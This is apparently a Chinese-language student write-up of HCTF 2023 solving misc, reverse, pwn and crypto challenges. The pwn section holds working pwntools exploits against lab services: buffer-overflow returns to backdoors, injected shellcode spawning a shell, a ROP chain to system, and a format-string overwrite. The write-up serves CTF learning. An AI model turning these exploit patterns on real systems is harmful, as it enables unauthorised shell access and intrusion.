HCTF 2023 WP Smera1d0 2023-10-19 2023-10-19 HCTF 2023 wp 一、Misc 1.玩原神玩的 分析:附件为一张图片
观察最后一行,明显有flag的格式
搜索得知是
对照得flag为:hctf{yuanlainiyewanyuanshenhhh}
2.signin 附件为一段文本
1 WzEwNCwgOTksIDExNiwgMTAyLCAxMjMsIDY2LCA5NywgMTE1LCAxMDEsIDk1LCA3MCwgNjQsIDEwOSwgMTA1LCA0OSwgMTIxLCA5NSwgNTIsIDExNCwgMTAxLCA5NSwgODYsIDk3LCAxMTQsIDEwNSwgNDgsIDExNywgMTE1LCAxMjVd
base64解码后得到
1 [104, 99, 116, 102, 123, 66, 97, 115, 101, 95, 70, 64, 109, 105, 49, 121, 95, 52, 114, 101, 95, 86, 97, 114, 105, 48, 117, 115, 125]
很明显是ASCII码
编写py脚本
1 2 3 4 5 6 ascii_list = [104 , 99 , 116 , 102 , 123 , 66 , 97 , 115 , 101 , 95 , 70 , 64 , 109 , 105 , 49 , 121 , 95 , 52 , 114 , 101 , 95 , 86 , 97 , 114 , 105 , 48 , 117 , 115 , 125 ] result = '' .join(chr (num) for num in ascii_list) print (result)
得到hctf{Base_F@m1y_4re_Vari0us}
3.Bomb 先用nc连接,然后多尝试几次发现炸弹的分布比较固定,对照着通关即可拿到flag
二、Re 1.SDU的第一张考卷 将附件用 IDA pro打开
main函数里就有答案,最后一题需要猜,最多猜4次嘛()
flag:HCTF{ACCBDAADBB}
2. XOR 一个简单的异或,告诉了我们enc数组和密钥key,将enc数组中的元素与key逐位异或即可
写出py脚本:
1 2 3 4 5 6 7 8 9 enc = [ 16 , 115 , 38 , 25 , 3 , 67 , 109 , 114 , 23 , 21 , 103 ,52 , 75 , 111 , 97 , 90 , 47 , 45 , 101 , 32 , 91 , 83 , 83 ,93 , 60 , 28 , 0 , 41 , 93 , 1 , 109 , 122 , 38 , 28 , 17 ,40 , 81 , 66 , 75 , 67 , 60 , 98 ] key = 'HCTF2023' flag = '' for i in range (len (enc)): xor_result = enc[i] ^ ord (key[i % len (key)]) flag += chr (xor_result) print (flag)
输出为:X0r_1s_A_V3ry_Sign1ficant_Too1_In_Encrypt!
flag:HCTF{X0r_1s_A_V3ry_Sign1ficant_Too1_In_Encrypt!}
3.Maze 放入IDA阅读代码
flag要进入一个check函数,我们继续阅读check函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 strcpy ( maze, "********************U..**************.****..O*****...****.*******.******.*******........********************************" ); count = 0 ; init_location = 20 ; while ( count <= 19 ) { v1 = count++; v2 = flag[v1]; if ( v2 == 100 ) { ++init_location; } else if ( v2 > 100 ) { if ( v2 == 115 ) { init_location += 15 ; } else if ( v2 == 119 ) { init_location -= 15 ; } } else if ( v2 == 97 ) { --init_location; } } return maze[init_location] == 79 ; }
v2有wasd四种情况,想到上下左右四个方向
a 和 d 分别是位置-1和位置+1
而 w 和 s 是-15和+15
如果w s是向上下方向走的,则不难推出迷宫的规格为15×15
根据给出的字符串画出迷宫
1 2 3 4 5 6 7 8 *************** *****U..******* *******.****..O *****...****.** *****.******.** *****........** *************** ***************
代码里描述了起始位置为U,终点为O,则需要的操作为:
ddssaassdddddddwwwdd
flag:HCTF{ddssaassdddddddwwwdd}
三、pwn 1、gift nc连接即可
2、Fly 先checksec一下
64位且可以进行栈溢出
然后我们阅读程序代码
read函数可以进行栈溢出,但进入if中我们需要找到一个字符使它的ASCII码值为-105
关于ASCII码为负值的原因可以参考:
https://blog.csdn.net/kelehaier/article/details/59560419
据此我们可以计算出实际的ASCII码为151
然后我们查看buf的栈
起始地址为0xD0
溢出值为:
找到后门函数
后门函数起始地址为:
构造payload为:
1 payload = b'a' *offset+p64(0x40086E )
exp:
1 2 3 4 5 6 7 8 from pwn import *r = remote("10.102.32.142" , 23961 ) ch = chr (151 ) offset = 0xD0 +0x08 r.sendline(ch) payload = b'a' *offset+p64(0x40086E ) r.sendline(payload) r.interactive()
成功拿到shell
3.sdu_L0g1n 同样先checksec一下
同样是64位且未开启栈保护
拖进IDA分析程序
发现有两次strcmp检测,我们需要绕过strcmp检测
可以通过后面加\x00
的方法绕过
找到后门函数:
观察程序结构,我们可以考虑从main函数通过read的栈溢出溢出到后门函数的位置,这样就可以劫持后门函数获取shell权限
经过反复调试,exp为
1 2 3 4 5 6 7 8 9 10 from pwn import *r = remote("10.102.32.142" , 26613 ) offset = 0x40 r.sendline('SDUpwner\x00' ) payload = b'N1nEmAN is C.o0O0OOOOL!\x00' +b'a' *offset +p64(0x4006C6 ) r.sendline(payload) r.interactive()
4.rdshellcode 打开附件,观察main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[104 ]; int v5; int v6; setvbuf(stdin , 0LL , 0 , 0LL ); setvbuf(stdout , 0LL , 1 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); puts ("I'm glad that you choose pwn" ); puts ("But i am n0t sure you really love pwn or not" ); puts ("Can't you prove yourself?" ); puts ("Tell me something...." ); srand(0x2023 u); v6 = rand() % 2 - 60 ; __isoc99_scanf("%d" , &v5); if ( v6 != v5 ) { puts ("You DO Not Really Love PWN !" ); exit (1 ); } puts ("Nice!!!!, you have proved your love for pwn" ); printf ("It's time for me: %p\n" , buf); puts ("Dot' you want to make friends with me?" ); read(0 , buf, 0x100 uLL); return 0 ; }
v6
实际上是一个伪随机数,一直为-59,我们让v5
的值为-59即可 然后程序会输出一个地址
发现地址是随机化的,所以我们要用pwntools里的内置函数读取printf出的buf的地址
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *p = remote("10.102.32.142" ,27714 ) context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) shellcode=asm(shellcraft.sh()) p.sendline(b'-59' ) p.recvuntil(b':' ) buf = p.recvline() print (buf)payload = b'A' * (0x70 + 8 ) + p64(int (buf,16 ) + 0x70 + 8 + 8 ) + shellcode p.sendline(payload) p.interactive()
buf的栈深度是0x70,64位程序+8,后面再+8是shellcode地址的长度,于是我们可以得到如下模板
1 payload = b'A' * (栈深度 + 8 ) + p64(int (栈地址,16 ) + 0x70 + 8 + 8 ) + shellcode
shellcode我们可以用pwntools生成
1 2 context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) shellcode=asm(shellcraft.sh())
运行exp得到flag
5.fleshman main函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main (int argc, const char **argv, const char **envp) { char s[32 ]; memset (s, 0 , sizeof (s)); init(); puts ("We1c0me t0 SDU! Since y0u are f1esh here,te11 me s0mething ab0ut Y0u:" ); puts ("Your name: " ); read(0 , s, 0x20 uLL); puts ("Your ID: " ); read(0 , s, 0x28 uLL); if ( !strcmp (s, "pwnner" ) ) { printf ("\nNice t0 mEEt y0u %s" , s); putchar (10 ); vuln(); } getflag(); return 0 ; }
strcmp绕过+构造ROP链
用ROPgadget查找出pop rdi的地址
ROPgadget --binary 文件路径 --only "pop|ret" | grep rdi
然后套用rop链的模板payload = b'a'*offset +p64(pop_rdi)+ p64(binsh)+p64(call_system)
exp如下:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = remote("10.102.32.142" ,31698 ) p.sendline(b'miyu' ) p.sendline(b'pwnner\x00' ) offset = 0x70 + 8 binsh = 0x402640 call_system=0x401392 pop_rdi = 0x401513 payload = b'a' *offset +p64(pop_rdi)+ p64(binsh)+p64(call_system) p.sendlineafter(b'WhAt can Y0u d0....' ,payload) p.interactive()
得到flag
6.rememberornot 观察main函数,发现只要计算100道题的答案即可获得flag 直接上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *p = remote("10.102.32.142" ,38108 ) p.recvuntil(b':' ) for i in range (100 ): p.recvuntil(b':' ) expression = p.recvline() Expression = expression[:-3 ] print (Expression) ans = eval (Expression) Ans = str (ans) print (ans) p.sendline(Ans) p.interactive()
利用python内置的eval函数即可进行表达式的运算
flag:HCTF{Y0U_RE@l1Y_REMEMbER_Y0uR_mA7H968ce06ba4d9}
7.overflow 本题为最简单的栈溢出 vuln函数
1 2 3 4 5 6 7 8 9 10 11 12 int vuln () { int result; char v1[76 ]; int v2; v2 = 0 ; result = gets(v1); if ( v2 == 2 ) return system("cat flag" ); return result; }
直接对v1
进行溢出即可
exp:
1 2 3 4 5 6 7 from pwn import *p = remote("10.102.32.142" ,22019 ) offset = 0x50 +8 system_addr=0x401225 payload = b'a' *offset+p64(system_addr) p.sendline(payload) p.interactive()
8. gift军训版 关键函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void __cdecl junxun () { char you; char fesitival; unsigned __int64 v2; v2 = __readfsqword(0x28 u); fesitival = -127 ; puts ("\x1B[33mMilitary training? When is the festival\x1B[0m" ); __isoc99_scanf("%c" , &you); printf ("You believe 0x%hhx is the fesitival?" , (unsigned int )you); if ( fesitival != you ) { puts (" nononono..." ); exit (1337 ); } puts (" yesyesyes!!!" ); system("sh" ); }
又是熟悉的ASCII码为负值的情况
实际的ASCII码为129
exp:
1 2 3 4 5 from pwn import *p = remote("10.102.32.142" ,47318 ) payload =chr (129 ) p.sendline(payload) p.interactive()
9.小明的家庭住址 本题核心点在于格式化字符串的利用
main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 nt __cdecl main (int argc, const char **argv, const char **envp) { char buf[48 ]; char format[56 ]; unsigned __int64 v6; v6 = __readfsqword(0x28 u); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); puts ("\n\x1B[33m---------------------------------------------" ); puts ("----------\x1B[0m\x1B[34mWelcome_to_address_SYSTEM\x1B[0m\x1B[33m----------" ); puts ("---------------------------------------------\x1B[0m\n" ); puts ("\x1B[32;5mWhere is XiaoMing's Home?\x1B[0m" ); read(0 , buf, 0x30 uLL); printf (buf); puts ("\x1B[32;5mAnd where is XiaoHong's?\x1B[0m" ); read(0 , format, 0x30 uLL); printf (format); return 0 ; }
对于这种printf
没有任何限制条件的情况,我们可以利用格式化字符串漏洞
首先我们利用%p
得到ret寄存器的地址
然后计算偏移
偏移为13
然后我们找到后门函数的地址0x40159C=4199836(十进制)
可以构造%4199836c%14$lln
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p = remote("10.102.32.142" , 40682 ) p.recv() p.send(b'aaaa-%p' ) p.recvuntil(b'Home?\x1b[0m\n' ) addr = p.recv()[5 :19 ] Addr = int (addr ,16 ) offset = 0x70 +8 ret_addr = Addr+offset payload = b'%4199836c%14$lln' +p64(ret_addr) p.sendline(payload) p.interactive()
四、Crypto 1.caesar 偏移量11
hctf{obviouslythisiscaesarcipher}
2.not_caesar 维吉尼亚密码,且没有告诉我们密钥
一个好用的网站 https://www.guballa.de/vigenere-solver
通过统计字符出现的频率来爆破出密码(文本足够长)
hctf{Icanbreakitwithoutkey}
3.MathⅠ 题目如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from Crypto.Util.number import *from secret import prngimport osflag = os.environ.get('FLAG' , 'HCTF{this_is_a_sample_flag}' ) sys = prng() def constraint (): time = 1000 sample_a = [] sample_b = [] for _ in range (time): out = sys.next () sample_a.append(out[0 ]) sample_b.append(out[1 ]) assert all ([sample_a[i]-sample_a[i-1 ] == sys.d for i in range (1 , time)]) assert all ([sample_b[i-1 ] == (i**2 +i)/sample_a[i-1 ] for i in range (1 , time)]) assert 3 *sample_a[1 ] == 3 *sample_a[0 ]+sample_a[2 ] return sum (sample_a[:777 ]+sample_b[:777 ]) def rsa_plus (m ): p = getPrime(512 ) q = getPrime(512 ) n = p*q e = 0x10001 m = bytes_to_long(m.encode()) r1 = sys.next ()[0 ] r2 = sys.next ()[0 ] c = pow (pow (pow (m, e, n)*r1, e, n)*r2, e, n) h = 2 *p+3 *q return n, c, h h1 = constraint() n, c, h2 = rsa_plus(flag) print (f'n = {n} ' )print (f'c = {c} ' )print (f'hint1 = {h1} ' )print (f'hint2 = {h2} ' )""" n = 123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527 c = 70355784775921655880380025465489949573241301926464797611681833071256665441460869302372712558837199110767728290007652944220079907048322612573185968943864339915304868935319658344195708544022979094906385190425552202576200107202487083736800245172584184112275476974513051986233708501062909943346214681580048469716 hint1 = 234850971.0 hint2 = 54673117809069678475594947601860826118221736045735845051744912971409541561632603188516528135267179886112707141940065852170163389165168708306257365103150093 """
constraint()函数描述了2023新课标I卷P20的题干部分 并且告诉我们h1是$a_n$和$b_n$的前777项和,即 $$ S_{777}+T_{777}=h1 $$ 我们由此可以计算出$a_n$的通项公式为$a_n=777n$ 根据time=1000,我们可以得出$r_1$和$r_2$是数列$a_n$的第1001项和第1002项,即: $$ r_1=777\times1001\ r_2=777\times1002 $$ 然后根据含有$p,q$的两个式子,可以得到一个二元方程组:
$$ \begin{cases} pq=n\ 2 p+3*q=hint2 \end{cases} $$ 其中$n$和$hint2$都是已知的,因此我们可以解出$p$和$q$。
1 2 3 4 5 6 7 8 from sympy import symbols, Eq, solveimport gmpy2p, q = symbols("p q" ) expr2 = [2 *p+3 *q-54673117809069678475594947601860826118221736045735845051744912971409541561632603188516528135267179886112707141940065852170163389165168708306257365103150093 , p*q-123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527 ] r2 = solve(expr2, [p, q]) print ("r2:" , r2)
得到:
p = 12384051763953430863668172341605062087552196009776396484360059546294965143403046818805051855772540020996782547927228938821561716941140613694437078638123523 q = 9968338093720938916086200972883567314372448008727684027674931292939870424942169850302141474574033281373047348695202658175679985094295826972461069275634349
然后我们根据c = pow(pow(pow(m, e, n)*r1, e, n)*r2, e, n)
进行解密
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import gmpy2from Crypto.Util.number import *r1=1001 *777 r2=1002 *777 p = 12384051763953430863668172341605062087552196009776396484360059546294965143403046818805051855772540020996782547927228938821561716941140613694437078638123523 q = 9968338093720938916086200972883567314372448008727684027674931292939870424942169850302141474574033281373047348695202658175679985094295826972461069275634349 c = 70355784775921655880380025465489949573241301926464797611681833071256665441460869302372712558837199110767728290007652944220079907048322612573185968943864339915304868935319658344195708544022979094906385190425552202576200107202487083736800245172584184112275476974513051986233708501062909943346214681580048469716 e = 0x10001 n = 123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527 phi = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, phi) m = pow (c, d, n) c1 = m*gmpy2.invert(r2, n) m1 = pow (c1, d, n) c2 = m1*gmpy2.invert(r1, n) m2 = pow (c2, d, n) print (long_to_bytes(m2).decode())
在共模下做除法我们需要求出r1和r2关于n的逆元$r_1^{-1}$和$r_2^{-1}$
最终解得flag为:
HCTF{D0_y0u_900d_4t_m47h?###}
五、Web 1.